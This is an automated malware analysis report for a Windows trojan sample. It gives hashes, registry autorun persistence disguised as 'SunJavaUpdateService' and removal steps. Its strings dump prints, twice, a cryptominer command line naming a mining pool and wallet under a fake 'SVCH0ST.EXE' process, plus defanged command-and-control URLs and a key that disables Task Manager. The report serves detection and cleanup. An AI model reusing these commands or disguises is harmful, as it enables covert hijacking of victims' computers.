Trojan.Generic.19868252_2f56b14b83

by malwarelabrobot on December 17th, 2016 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.Generic.19868252 (B) (Emsisoft), Trojan.Generic.19868252 (AdAware), Trojan.Win32.FlyStudio.FD, TrojanFlyStudio.YR (Lavasoft MAS)
Behaviour: Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 2f56b14b830148136352d8360b3c8d44
SHA1: 5cd6674683f57586ce0e3ac7508beb6294c045eb
SHA256: a6bea4bca05ef77e9beb7fa778dd705280c130559b789dee2add22535f9fbb5b
SSDeep: 6144:Ssh4bqrX5Yv0ct0t3FYffTaVnBSvTfLR G8H7V2ShY3Bo5pHMX4j0DVk:l5YvL0t3SeejR Tb3F5N0
Size: 440320 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2016-11-23 11:34:24
Analyzed on: Windows7 SP1 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

%original file name%.exe:3336

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:3336 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F661.tmp (1425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F5C3.tmp (7971 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F602.tmp (5873 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F661.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F5C3.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F602.tmp (0 bytes)

Registry activity

The process %original file name%.exe:3336 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"SunJavaUpdateService" = "c:\%original file name%.exe"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
UPX0 4096 1069056 0 0 d41d8cd98f00b204e9800998ecf8427e
UPX1 1073152 434176 434176 5.4964 299d7a9aa52b13ba5f2d5369e308744f
.rsrc 1507328 8192 5120 2.58323 880f2078629321d8bb3ab48a891315b3

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

No activity has been detected.

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

Web Traffic was not found.

The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_3336:

`.rsrc
3h%fQ
3h.jQ
t%SVh
t$(SSh
|$D.tm
~%UVW
u$SShe
Jiu2.iu
1wK(.wS
kernel32.dll
Kernel32.dll
killme.dll
ntdll.dll
avicap32.dll
wininet.dll
user32.dll
gdiplus.dll
ole32.dll
shell32.dll
oleaut32.dll
shlwapi.dll
Advapi32.dll
winmm.dll
rasapi32.dll
ADVAPI32.DLL
advapi32.dll
Shlwapi.dll
HttpOpenRequestA
HttpSendRequestA
HttpQueryInfoA
MsgWaitForMultipleObjects
keybd_event
GdiplusShutdown
ShellExecuteA
GetProcessHeap
GetKeyState
GetAsyncKeyState
GetWindowsDirectoryA
OpenWindowStationA
SetProcessWindowStation
GetServiceKeyNameA
CreatePipe
RegOpenKeyExA
RegEnumKeyExA
RegCloseKey
RegDeleteKeyA
Dwmapi.dll
SVCH0ST.EXE
c:\ProgramData\MSVCH0ST.EXE -a cryptonight -o stratum tcp://xmr.crypto-pool.fr:3333 -u 43js4ACCQE4dFJof3BiAhP1wEkwZHUK77GqAWgPURbKK4fZ6AYH9r2AWhwCvZWACVgAXMNnAmeJC6HnbjVoexwpY7ie9Yxp -p x
.text
`.rdata
@.data
.reloc
aeskeygenassist
Function not supported
Broken pipe
Inappropriate I/O control operation
Operation not permitted
BeaEngine.dll
KERNEL32.dll
0%1x1
0:0\0{0/1\1
= =$=(=,=0=4=
gdi32.dll
11.86.92.78##5858
hXXp://hksoft.blog.163.com/blog/static/2674570152016101091047509
software\microsoft\windows\CurrentVersion\Run\SunJavaUpdateService
hXXps://
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
http=
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
hXXp://
https
11.86.92.98
{557CF400-1A04-11D3-9A73-0000F81EF32E}
{557CF401-1A04-11D3-9A73-0000F81EF32E}
{557CF402-1A04-11D3-9A73-0000F81EF32E}
{557CF405-1A04-11D3-9A73-0000F81EF32E}
{557CF406-1A04-11D3-9A73-0000F81EF32E}
Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr
C:\Windows\khpz.ini
SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion
SOFTWARE\Microsoft\Windows NT\CurrentVersion\CSDVersion
Windows 10
Windows 8.1
Windows 8
Windows Server 2012
Windows 7
Windows Server 2008 R2
Windows Vista
Windows Server 2008
Windows XP
Windows Server 2003
Windows Server 2003 R2
Windows 2000
Windows NT 4.0
Windows 95
Windows 98
Windows Me
Web Edition
SOFTWARE\Microsoft\Windows NT\CurrentVersion\EditionID
SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentBuild
\Microsoft\Network\Connections\pbk\rasphone.pbk
c:\ProgramData\SVCH0ST.EXE -a cryptonight -o stratum tcp://xmr.crypto-pool.fr:3333 -u 43js4ACCQE4dFJof3BiAhP1wEkwZHUK77GqAWgPURbKK4fZ6AYH9r2AWhwCvZWACVgAXMNnAmeJC6HnbjVoexwpY7ie9Yxp -p x
@{1d5be4b5-fa4a-452d-9cdd-5db35105e7eb}
\Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Uninstall\
ws2_32.dll
%d&&'
123456789
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
F%*.*f
CNotSupportedException
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
COMCTL32.DLL
CCmdTarget
__MSVCRT_HEAP_SELECT
iphlpapi.dll
SHLWAPI.dll
MPR.dll
VERSION.dll
WININET.dll
.PAVCException@@
.PAVCNotSupportedException@@
.PAVCFileException@@
(*.prn)|*.prn|
(*.*)|*.*||
Shell32.dll
Mpr.dll
User32.dll
Gdi32.dll
(&07-034/)7 '
?? / %d]
%d / %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
%s:%d
windows
1.6.9
unsupported zlib version
png_read_image: unsupported transformation
out.prn
%d.%d
%d / %d
%d/%d
Bogus message code %d
libpng error: %s
libpng warning: %s
1.1.3
bad keyword
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
(%d-%d):
%ld%c
<Msg%s>%ld</Msg%s>
0000%d
</Msg0000>
<Msg0000>
EMSG
Recv Sub Packet(%s)..
Recv Packet (%s)...
VVV.dywt.com.cn
%s\%s.lnk
Software\Microsoft\Windows\CurrentVersion\Run
msctls_hotkey32
;3 #>6.&
'2, / 0&7!4-)1#
.PAVCObject@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
zcÁ
c:\%original file name%.exe
#include "l.chs\afxres.rc" // Standard components
GetCPInfo
WinExec
RegCreateKeyA
RegCreateKeyExA
RegOpenKeyA
GetViewportExtEx
GetViewportOrgEx
ScaleViewportExtEx
SetViewportExtEx
OffsetViewportOrgEx
SetViewportOrgEx
SetWindowsHookExA
UnhookWindowsHookEx
ExitWindowsEx
CreateDialogIndirectParamA
.rsrc
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity name="E.App" processorArchitecture="x86" version="5.2.0.0" type="win32"/><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency></assembly>
KERNEL32.DLL
ADVAPI32.dll
COMCTL32.dll
comdlg32.dll
GDI32.dll
MSIMG32.dll
OLEAUT32.dll
SHELL32.dll
USER32.dll
WINMM.dll
WINSPOOL.DRV
WS2_32.dll
01234567
(*.*)

%original file name%.exe_3336_rwx_00401000_0016E000:

3h%fQ
3h.jQ
t%SVh
t$(SSh
|$D.tm
~%UVW
u$SShe
Jiu2.iu
1wK(.wS
kernel32.dll
Kernel32.dll
killme.dll
ntdll.dll
avicap32.dll
wininet.dll
user32.dll
gdiplus.dll
ole32.dll
shell32.dll
oleaut32.dll
shlwapi.dll
Advapi32.dll
winmm.dll
rasapi32.dll
ADVAPI32.DLL
advapi32.dll
Shlwapi.dll
HttpOpenRequestA
HttpSendRequestA
HttpQueryInfoA
MsgWaitForMultipleObjects
keybd_event
GdiplusShutdown
ShellExecuteA
GetProcessHeap
GetKeyState
GetAsyncKeyState
GetWindowsDirectoryA
OpenWindowStationA
SetProcessWindowStation
GetServiceKeyNameA
CreatePipe
RegOpenKeyExA
RegEnumKeyExA
RegCloseKey
RegDeleteKeyA
Dwmapi.dll
SVCH0ST.EXE
c:\ProgramData\MSVCH0ST.EXE -a cryptonight -o stratum tcp://xmr.crypto-pool.fr:3333 -u 43js4ACCQE4dFJof3BiAhP1wEkwZHUK77GqAWgPURbKK4fZ6AYH9r2AWhwCvZWACVgAXMNnAmeJC6HnbjVoexwpY7ie9Yxp -p x
.text
`.rdata
@.data
.reloc
aeskeygenassist
Function not supported
Broken pipe
Inappropriate I/O control operation
Operation not permitted
BeaEngine.dll
KERNEL32.dll
0%1x1
0:0\0{0/1\1
= =$=(=,=0=4=
gdi32.dll
11.86.92.78##5858
hXXp://hksoft.blog.163.com/blog/static/2674570152016101091047509
software\microsoft\windows\CurrentVersion\Run\SunJavaUpdateService
hXXps://
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
http=
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
hXXp://
https
11.86.92.98
{557CF400-1A04-11D3-9A73-0000F81EF32E}
{557CF401-1A04-11D3-9A73-0000F81EF32E}
{557CF402-1A04-11D3-9A73-0000F81EF32E}
{557CF405-1A04-11D3-9A73-0000F81EF32E}
{557CF406-1A04-11D3-9A73-0000F81EF32E}
Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr
C:\Windows\khpz.ini
SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion
SOFTWARE\Microsoft\Windows NT\CurrentVersion\CSDVersion
Windows 10
Windows 8.1
Windows 8
Windows Server 2012
Windows 7
Windows Server 2008 R2
Windows Vista
Windows Server 2008
Windows XP
Windows Server 2003
Windows Server 2003 R2
Windows 2000
Windows NT 4.0
Windows 95
Windows 98
Windows Me
Web Edition
SOFTWARE\Microsoft\Windows NT\CurrentVersion\EditionID
SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentBuild
\Microsoft\Network\Connections\pbk\rasphone.pbk
c:\ProgramData\SVCH0ST.EXE -a cryptonight -o stratum tcp://xmr.crypto-pool.fr:3333 -u 43js4ACCQE4dFJof3BiAhP1wEkwZHUK77GqAWgPURbKK4fZ6AYH9r2AWhwCvZWACVgAXMNnAmeJC6HnbjVoexwpY7ie9Yxp -p x
@{1d5be4b5-fa4a-452d-9cdd-5db35105e7eb}
\Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Uninstall\
ws2_32.dll
%d&&'
123456789
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
F%*.*f
CNotSupportedException
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
COMCTL32.DLL
CCmdTarget
__MSVCRT_HEAP_SELECT
iphlpapi.dll
SHLWAPI.dll
MPR.dll
VERSION.dll
WININET.dll
.PAVCException@@
.PAVCNotSupportedException@@
.PAVCFileException@@
(*.prn)|*.prn|
(*.*)|*.*||
Shell32.dll
Mpr.dll
User32.dll
Gdi32.dll
(&07-034/)7 '
?? / %d]
%d / %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
%s:%d
windows
1.6.9
unsupported zlib version
png_read_image: unsupported transformation
out.prn
%d.%d
%d / %d
%d/%d
Bogus message code %d
libpng error: %s
libpng warning: %s
1.1.3
bad keyword
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
(%d-%d):
%ld%c
<Msg%s>%ld</Msg%s>
0000%d
</Msg0000>
<Msg0000>
EMSG
Recv Sub Packet(%s)..
Recv Packet (%s)...
VVV.dywt.com.cn
%s\%s.lnk
Software\Microsoft\Windows\CurrentVersion\Run
msctls_hotkey32
;3 #>6.&
'2, / 0&7!4-)1#
.PAVCObject@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
zcÁ
c:\%original file name%.exe
#include "l.chs\afxres.rc" // Standard components
GetCPInfo
WinExec
RegCreateKeyA
RegCreateKeyExA
RegOpenKeyA
GetViewportExtEx
GetViewportOrgEx
ScaleViewportExtEx
SetViewportExtEx
OffsetViewportOrgEx
SetViewportOrgEx
SetWindowsHookExA
UnhookWindowsHookEx
ExitWindowsEx
CreateDialogIndirectParamA
.rsrc
01234567
(*.*)


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F661.tmp (1425 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F5C3.tmp (7971 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F602.tmp (5873 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "SunJavaUpdateService" = "c:\%original file name%.exe"

  5. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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